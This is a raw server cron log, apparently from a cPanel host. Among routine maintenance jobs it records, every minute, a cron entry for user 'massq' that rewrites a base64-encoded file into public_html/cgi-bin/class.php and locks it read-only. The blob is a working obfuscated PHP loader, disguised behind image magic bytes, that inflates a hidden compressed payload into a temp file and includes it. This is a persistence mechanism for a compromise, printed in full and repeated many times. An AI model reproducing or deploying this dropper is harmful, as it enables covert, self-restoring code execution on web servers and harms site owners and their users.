Sep  8 13:28:01 server CROND[17493]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:28:01 server CROND[17491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:29:01 server CROND[17860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:29:01 server CROND[17861]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:29:01 server CROND[17859]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:30:01 server CROND[18242]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 13:30:01 server CROND[18244]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:30:01 server CROND[18248]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 13:30:01 server CROND[18243]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 13:30:01 server CROND[18247]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:30:01 server CROND[18249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:30:01 server CROND[18246]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 13:30:01 server CROND[18251]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 13:31:01 server CROND[19079]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:31:01 server CROND[19077]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:31:01 server CROND[19078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:32:01 server CROND[19550]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:32:01 server CROND[19551]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:32:01 server CROND[19549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:33:01 server CROND[19931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:33:01 server CROND[19932]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:33:01 server CROND[19933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:34:01 server CROND[20304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:34:01 server CROND[20303]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:34:01 server CROND[20305]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:35:01 server CROND[20700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:35:01 server CROND[20701]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 13:35:01 server CROND[20702]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 13:35:01 server CROND[20709]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:35:01 server CROND[20704]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 13:35:01 server CROND[20708]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 13:35:01 server CROND[20705]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 13:35:01 server CROND[20706]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:35:01 server CROND[20707]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 13:36:01 server CROND[21535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:36:01 server CROND[21534]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:36:01 server CROND[21536]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:37:01 server CROND[21995]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:37:01 server CROND[21996]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:37:01 server CROND[21997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:38:01 server CROND[22374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:38:01 server CROND[22375]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:38:01 server CROND[22376]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:39:01 server CROND[22762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:39:01 server CROND[22763]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 13:39:01 server CROND[22764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:39:01 server CROND[22765]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:40:01 server CROND[23306]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 13:40:01 server CROND[23310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:40:01 server CROND[23314]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 13:40:01 server CROND[23313]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
